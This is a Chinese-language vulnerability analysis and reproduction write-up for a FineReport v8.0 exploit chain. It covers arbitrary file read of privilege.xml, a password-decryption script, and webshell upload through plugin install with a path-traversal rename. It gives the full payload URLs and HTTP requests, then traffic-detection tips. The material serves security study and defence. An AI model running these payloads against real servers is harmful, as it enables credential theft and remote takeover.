漏洞简述
FineReport是一款企业级报表设计和数据可视化软件,纯Java编写的企业级web报表工具。它提供了强大的报表设计、数据分析和数据可视化功能,旨在帮助企业用户轻松地创建高质量的报表和数据分析图表。
组合拳漏洞
- 帆软报表 v8.0 任意文件读取漏洞(CNVD-2018-04757)
- 帆软后台插件上传webshell漏洞
- 帆软目录遍历漏洞
影响版本
FineReport < 8.0
漏洞原理
- 文件读取-WebReport/WEB-INF/lib/fr-platform-8.0.jar
总结:直接对
resourcepath
请求参数值进行readResource()
资源读取,没有对resourcepath
请求参数值进行安全校验过滤,导致可以获取敏感文件内容
位于com.fr.chart.web.ChartGetFileContentAction#actionCMD
,读取过程:获取resourcepath
请求参数值,并通过readResource()
读取文件资源,简单替换Unicode字符'\ufeff'后则输出至HTTP响应体中
public void actionCMD(HttpServletRequest var1, HttpServletResponse var2, String var3) throws Exception {
// 获取名为"resourcepath"的HTTP请求参数,并解码为字符串
String var4 = CodeUtils.cjkDecode(WebUtils.getHTTPRequestParameter(var1, "resourcepath"));
// 根据解码后的资源路径,读取文件资源的输入流
InputStream var5 = FRContext.getCurrentEnv().readResource(var4);
// 将文件资源的输入流转换为字符串
String var6 = IOUtils.inputStream2String(var5);
// 替换字符串中的Unicode字符'\ufeff'(BOM字符)为空格字符
var6 = var6.replace('\ufeff', ' ');
// 将处理后的字符串作为HTTP响应输出
WebUtils.printAsString(var2, var6);
public String getCMD() {
return "get_geo_json";
跟进cjkDecode()
,查看获取resourcepath
参数值过程:只检测是否为空后者是否包含 CJK 编码字符,不为空和包含CJK 编码字符则直接读取,没有做其它安全校验
public static String cjkDecode(String var0) throws Exception {
// 如果输入字符串为null,则返回空字符串
// 如果输入字符串不包含 CJK 编码字符,则直接返回输入字符串
else if (!isCJKEncoded(var0)) {
StringBuilder var1 = new StringBuilder();
for (int var2 = 0; var2 < var0.length(); ++var2) {
char var3 = var0.charAt(var2);
// 如果当前字符是'[',则说明可能是 CJK 编码字符
if (var3 == '[') {
int var4 = var0.indexOf(']', var2 + 1);
if (var4 > var2 + 1) {
String var5 = var0.substring(var2 + 1, var4);
if (var5.length() > 0) {
var3 = (char) Integer.parseInt(var5, 16);
// 更新遍历位置
var2 = var4;
var1.append(var3);
return var1.toString();
跟进readResource()
,查看读取资源过程:直接读取,没有做其它安全校验
InputStream readResource(String var1) throws Exception;
- 插件上传-WebReport/WEB-INF/lib/fr-platform-8.0.jar
总结:通过插件功能上传后的zip文件,在插件安装或者更新的过程中会自动解压缩至/tmp路径下,由于在解压过程中没有对zip压缩包里的文件进行安全校验,从而导致jsp文件可以被解压至本地;同时还存在文件重命名功能,可通过重命名功能移动文件路径,从而导致getshell
插件管理功能,位于com.fr.chart.web.ChartGetFileContentAction
,找到本地安装插件InstallFromDiskAction()
和本地升级插件UpdateFromDiskAction()
对象
private static ActionNoSessionCMD[] actions = new ActionNoSessionCMD[]{
// 定义一系列ActionNoSessionCMD对象数组
......
new InstallFromDiskAction(), // 本地安装:local_install
new InstallOnlineAction(),
new InstallDependenceOnlineAction(),
new UpdateFromDiskAction(), // 本地升级:local_update
......
插件本地安装-local_install
跟进InstallFromDiskAction()
,查看本地安装插件过程:读取WebHelper.DOWNLOAD_PATH (/cache)
中获取要更新的插件文件temp.zip
,初次存储路径为:/cache/temp.zip
public class InstallFromDiskAction extends ActionNoSessionCMD {
public InstallFromDiskAction() {
public void actionCMD(HttpServletRequest var1, HttpServletResponse var2) throws Exception {
PrintWriter var3 = WebUtils.createPrintWriter(var2);
JSONObject var4 = JSONObject.create();
// 从前端上传的临时文件路径:WebHelper.DOWNLOAD_PATH (/cache)中获取要更新的插件文件(temp.zip)
File var5 = UploadHelper.getFileFromFront(var1, var2, WebHelper.DOWNLOAD_PATH, "temp.zip");
// 调用 WebHelper 类的 installFromDisk 方法进行插件安装
WebHelper.installFromDisk(var5);
// 插件安装成功,返回状态为 "success"
var4.put("status", "success");
var3.println(var4);
} catch (PluginDependenceException var11) {
// 插件依赖异常,返回相关错误信息
double var7 = (double) var11.getPluginLength() / Math.pow(10.0, 6.0);
String var9 = String.format("%.2f", var7);
String var10 = var11.getPluginID();
var4.put("status", "failed").put("message", "dependence").put("dependenceLength", var9).put("pluginID", var10);
var3.println(var4);
} catch (Exception var12) {
// 其他异常,返回异常信息
var4.put("status", "failed").put("message", var12.getMessage());
var3.println(var4);
public String getCMD() {
return "local_install";
跟进installFromDisk()
,查看安装插件过程:读取插件文件并安装
public static void installFromDisk(File var0) throws Exception {
// 读取插件文件,解析为 Plugin 对象
Plugin var1 = readPlugin(var0);
// 安装插件,将 Plugin 对象安装到当前环境(FRContext)中
installPluginFromUnzippedDir(FRContext.getCurrentEnv(), var1);
跟进readPlugin()
,查看读取插件过程:删除TEMP_PATH(/tmp)
目录的所有文件,再将/cache/temp.zip
将解压至 /tmp
目录下,在解压过程中没有temp.zip
里的文件进行安全校验
private static final String TEMP_PATH = StableUtils.pathJoin(new String[]{FRContext.getCurrentEnv().getPath(), "/tmp"});
public static final String DOWNLOAD_PATH = StableUtils.pathJoin(new String[]{FRContext.getCurrentEnv().getPath(), "/cache"});
public static final String DEPENDENCE_DOWNLOAD_PATH = StableUtils.pathJoin(new String[]{FRContext.getCurrentEnv().getPath(), "/cache/dependence"});
public static final String TEMP_FILE = "temp.zip";
public static Plugin readPlugin(File var0) throws Exception {
// 删除临时路径下的所有文件(TEMP_PATH:/tmp)
StableUtils.deleteFile(new File(TEMP_PATH));
// 解压 var0 (temp.zip)文件到临时路径(TEMP_PATH :/tmp),即 /cache/temp.zip 将解压至 /tmp目录下
IOUtils.unzip(var0, TEMP_PATH);
// 从临时路径中读取插件信息,并返回读取的插件对象
return readPluginFormTemp();
插件本地更新-local_update
跟进UpdateFromDiskAction()
,查看本地更新插件过程:读取WebHelper.DOWNLOAD_PATH (/cache)
中获取要更新的插件文件temp.zip
,初次存储路径为:/cache/temp.zip
,跟进readPlugin()
,和本地上传功能(local_install)的读取插件过程一致:在解压过程中没有temp.zip
里的文件进行安全校验
public void actionCMD(HttpServletRequest var1, HttpServletResponse var2) throws Exception {
PrintWriter var3 = WebUtils.createPrintWriter(var2);
// 从前端上传的临时文件路径:WebHelper.DOWNLOAD_PATH (/cache)中获取要更新的插件文件(temp.zip)
File var4 = UploadHelper.getFileFromFront(var1, var2, WebHelper.DOWNLOAD_PATH, "temp.zip");
// 调用 updateFromDisk 方法来更新插件
this.updateFromDisk(var4, var3);
// 刷新并关闭 PrintWriter 对象,将数据写入 HTTP 响应
private void updateFromDisk(File var1, PrintWriter var2) throws JSONException {
JSONObject var3 = JSONObject.create();
// 从文件 var1 (temp.zip)中读取插件信息
Plugin var4 = WebHelper.readPlugin(var1);
// 检查插件信息是否有效,如果无效则返回错误信息
if (var4 == null) {
var3.put("status", "failed").put("message", Inter.getLocText("FS-Msg-Invalid_Plugin_Zip_File"));
var2.println(var3);
return "local_update";
文件重命名-manual_backup
找到文件重命名功能,位于com.fr.fs.web.service.ServerConfigManualBackupAction
,查看文件重命名过程:将源文件oldname
重命名为目的文件newname
,通过renameTo()
进行重命名操作,没有其它安全校验
public class ServerConfigManualBackupAction extends ActionNoSessionCMD {
public void actionCMD(HttpServletRequest var1, HttpServletResponse var2) throws Exception {
String var3 = StableUtils.pathJoin(new String[]{FRContext.getCurrentEnv().getPath(), "finedb"});
String var4 = StableUtils.pathJoin(new String[]{FRContext.getCurrentEnv().getPath(), "resources"});
String var5 = StableUtils.pathJoin(new String[]{FRContext.getCurrentEnv().getPath(), "frbak"});
String var6 = WebUtils.getHTTPRequestParameter(var1, "optype");
if (ComparatorUtils.equals(var6, "back_up")) {
} else if (ComparatorUtils.equals(var6, "edit_backup")) {
// WebUtils.getHTTPRequestParameter 方法分别获取旧的备份文件名 oldname 和新的备份文件名 newname
var7 = WebUtils.getHTTPRequestParameter(var1, "oldname");
String var8 = WebUtils.getHTTPRequestParameter(var1, "newname");
// 根据获取到的文件名,构建对应的 File 对象:
File var9 = new File(StableUtils.pathJoin(new String[]{var5, "manualbackup", var7})); // oldname
File var10 = new File(StableUtils.pathJoin(new String[]{var5, "manualbackup", var8})); // newname
// renameTo方法,将源文件(oldname)重命名为目标文件(newname)
if (!var9.renameTo(var10)) {
FRLogger.getLogger().error("rename backup error.");
} else if (ComparatorUtils.equals(var6, "list_backup")) {
FRLogger.getLogger().error("error manual_backup operation type!");
public String getCMD() {
return "manual_backup";
跟进renameTo()
,查看重命名过程:只校验源/目标文件是否有写的权限
public boolean renameTo(File dest) {
SecurityManager security = System.getSecurityManager();
// 如果安全管理器不为空,则进行安全检查
if (security != null) {
security.checkWrite(path);
security.checkWrite(dest.path);
throw new NullPointerException();
// 检查当前文件或目标文件是否无效(无效的文件通常是由于文件路径不正确或文件不存在等原因导致)
// 如果当前文件或目标文件无效,则返回 false 表示重命名失败
if (this.isInvalid() || dest.isInvalid()) {
// 调用底层文件系统的重命名方法,并返回结果
return fs.rename(this, dest);
- 目录遍历-WebReport/lib/fr-designer-core-8.0.jar
总结:匹配正确的HTTP请求参数值(
op=fs_remote_design&cmd=design_list_file&file_path=xxxx¤tUserName=xx¤tUserId=1&isWebReport=true
),响应码为200,file_path目录存在,即可加载目录内容,由于在加载目录过程中没有进行安全校验,只要输入具体路径或者默认路径,都可以读取对应的目录内容
找到目录遍历功能,位于com.fr.env.RemoteEnv
,搜索关键字design_list_file
定位,查看目录遍历过程:匹配HTTP请求参数(op=fs_remote_design
、cmd=design_list_file
、file_path=xxx
、currentUserName=xxx
、currentUserId=1
、isWebReport=true
)后创建一个HttpClient实例,通过**execute4InputStream()
执行HTTP请求并获取响应内容
currentUserName
参数:getUser()
和currentUserId
参数:createUserID()
,均没有进行安全校验
private FileNode[] listFile(String var1, boolean var2) throws Exception {
// 创建一个HashMap用于存储HTTP请求的参数
HashMap<String, String> var4 = new HashMap<>();
var4.put("op", "fs_remote_design");
var4.put("cmd", "design_list_file");
var4.put("file_path", var1);
var4.put("currentUserName", this.getUser()); // getUser()
var4.put("currentUserId", this.createUserID()); // createUserID()
var4.put("isWebReport", var2 ? "true" : "false"); // isWebReport
// 创建一个HttpClient实例并设置HTTP请求的方法和参数
HttpClient var5 = this.createHttpMethod(var4);
ByteArrayInputStream var6 = this.execute4InputStream(var5);
// 如果响应输入流为空,返回一个空的FileNode数组
return new FileNode[0];
FileNode[] var3 = DavXMLUtils.readXMLFileNodes(var6);
ArrayList<FileNode> var7 = new ArrayList<>();
for (int var8 = 0; var8 < var3.length; ++var8) {
var7.add(var3[var8]);
FileNode[] var10 = new FileNode[var7.size()];
for (int var9 = 0; var9 < var7.size(); ++var9) {
var10[var9] = var7.get(var9);
public String getUser() {
return this.user; // 直接读取user名:currentUserName,不做校验
private String createUserID() throws EnvException {
if (this.userID == null) {
return this.userID; // 直接读取user名:currentUserName,不做校验
跟进execute4InputStream()
,查看执行HTTP请求并获取响应内容过程:获取响应码,如果响应码为200,将正常执行HTTPHTTP请求,并获取响应内容,没有进行其它安全校验。因此,只要file_path
路径存在,就能正常请求资源返回目录内容
private ByteArrayInputStream execute4InputStream(HttpClient var1) throws Exception {
this.setHttpsParas();
int var2 = var1.getResponseCode();
if (var2 != 200) {
// 如果状态码不是200,抛出EnvException异常,表示请求失败
throw new EnvException("Method failed: " + var2);
} catch (Exception var25) {
// 捕获异常,并记录连接重置的日志信息
FRContext.getLogger().info("Connection reset ");
InputStream var27 = var1.getResponseStream();
// 如果输入流为空,返回null
// 创建一个ByteArrayOutputStream,用于将HTTP响应的数据写入内存中
ByteArrayOutputStream var3 = new ByteArrayOutputStream();
boolean var20 = false;
ByteArrayInputStream var6;
var20 = true;
Utils.copyBinaryTo(var27, var3); // 将输入流(var27)中的二进制数据复制到输出流(var3)
byte[] var4 = var3.toByteArray(); //
String var5 = new String(var4, "UTF-8");
.......
// 创建一个ByteArrayInputStream,用于将响应内容作为输入流返回
var6 = new ByteArrayInputStream(var4);
var20 = false;
} finally {
if (var20) {
// 在处理完HTTP响应后,关闭相关资源
synchronized(this) {
var27.close();
var3.close();
var1.release();
}
漏洞复现
- 任意文件读取漏洞
访问http://192.168.6.140:8080/WebReport/ReportServer?op=chart&cmd=get_geo_json&resourcepath=privilege.xml
,虽然显示空白,但右击查看网页源代码,可以发现账号密码
使用密码解密脚本(源于帆软报表 v8.0 任意文件读取漏洞 CNVD-2018-04757)finereport.py
cipher = '\_\_\_0061002100780060005500e70018' #密文
PASSWORD\_MASK\_ARRAY = \[19, 78, 10, 15, 100, 213, 43, 23\] #掩码
cipher = cipher\[3:\] #截断三位后
for i in range(int(len(cipher) / 4)):
c1 = int("0x" + cipher\[i \* 4:(i + 1) \* 4\], 16)
c2 = c1 ^ PASSWORD\_MASK\_ARRAY\[i % 8\]
Password = Password + chr(c2)
使用账号密码成功登录并跳转到系统首页http://192.168.6.140:8080/WebReport/ReportServer?op=fs
- 插件上传webshell漏洞
上传webshell
方式1:local_install本地安装功能上传webshell
点击管理系统-插件管理板块,选择本地安装,路径为http://192.168.6.140:8080/WebReport/ReportServer?op=plugin&cmd=local_install
,将name="file"
修改为 name="install-from-disk"
进行安装,虽然响应体返回无效zip,但仍是成功上传,并自动解压至WEB-INF/tmp
目录
POST /WebReport/ReportServer?op=plugin&cmd=local\_install HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:108.0) Gecko/20100101 Firefox/108.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,\*/\*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: multipart/form-data; boundary=---------------------------43396694042741433502589989449
Origin: http://192.168.6.140:8080
Referer: http://192.168.6.140:8080/WebReport/ReportServer?op=plugin&cmd=init
Cookie: JSESSIONID=5F48D0D96E90F4EF12F4FA54BF441927; fr\_password=""; fr\_remember=false
Upgrade-Insecure-Requests: 1
\-----------------------------43396694042741433502589989449
Content-Disposition: form-data; name="install-from-disk"; filename="plugin-com.fr.plugin.reportfit.zip"
Content-Type: application/x-zip-compressed
方式2:local_update本地更新功能上传webshell
选择本地更新插件上传zip压缩包,路径为http://192.168.6.140:8080/WebReport/ReportServer?op=plugin&cmd=local_update
,与local_install本地安装过程同理,最后自动解压至WEB-INF/tmp
目录
manual_backup重命名文件
将/WebReport/WEB-INF/tmp/go401-pass-rodenty-raw.jsp
移动至/WebReport
目录,并重命名为1.jsp
POST /WebReport/ReportServer?op=fr\_server&cmd=manual\_backup HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:108.0) Gecko/20100101 Firefox/108.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,\*/\*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Cookie: JSESSIONID=5F48D0D96E90F4EF12F4FA54BF441927; fr\_password=""; fr\_remember=false
Upgrade-Insecure-Requests: 1
X-Requested-With: XMLHttpRequest
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
optype=edit\_backup&oldname=../../../WEB-INF/tmp/go401-pass-rodenty-raw.jsp&newname=../../../1.jsp
连接webshell
访问http://192.168.6.140:8080/WebReport/1.jsp,回显空白页面,确认文件存在
用Godzilla工具成功连接webshell
- 目录遍历漏洞
构造payload:http://192.168.6.140:8080/WebReport/ReportServer?op=fs_remote_design&cmd=design_list_file&file_path=../WebReport/WEB-INF/tmp¤tUserName=admin¤tUserId=1&isWebReport=true
,成功读取../WebReport/WEB-INF/tmp
目录的所有文件
流量侧排查小tips
正确登录页面
访问http://192.168.6.140:8080/WebReport/ReportServer
,是个部署页面
点击数据决策系统,跳转到http://192.168.6.140:8080/WebReport/ReportServer?op=fs_load&cmd=fs_signin&_=1672748615453
登录页面
因此输入完账密后,是通过http://192.168.6.140:8080/WebReport/ReportServer?op=fs_load&cmd=login
进行POST数据跳转,但并非是真实登录页面,真实登录页面应该是http://192.168.6.140:8080/WebReport/ReportServer?op=fs_load&cmd=fs_signin&_=1672748615453
插件自动加载流量
点击管理系统-插件管理板块,将会自动跳转至http://192.168.6.140:8080/WebReport/ReportServer?op=plugin&cmd=war
等路径,将自动加载&cmd=war/plugin_url_prefix/init
等路径,并非人工手动加载
参考链接
帆软报表 v8.0 任意文件读取漏洞 CNVD-2018-04757
原文链接:https://forum.butian.net/share/2390
免费领取安全学习资料包!![帆软报表 V8.0 组合拳漏洞分析及复现]()
渗透工具
技术文档、书籍
面试题
帮助你在面试中脱颖而出
视频
基础到进阶
环境搭建、HTML,PHP,MySQL基础学习,信息收集,SQL注入,XSS,CSRF,暴力破解等等
应急响应笔记
学习路线
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论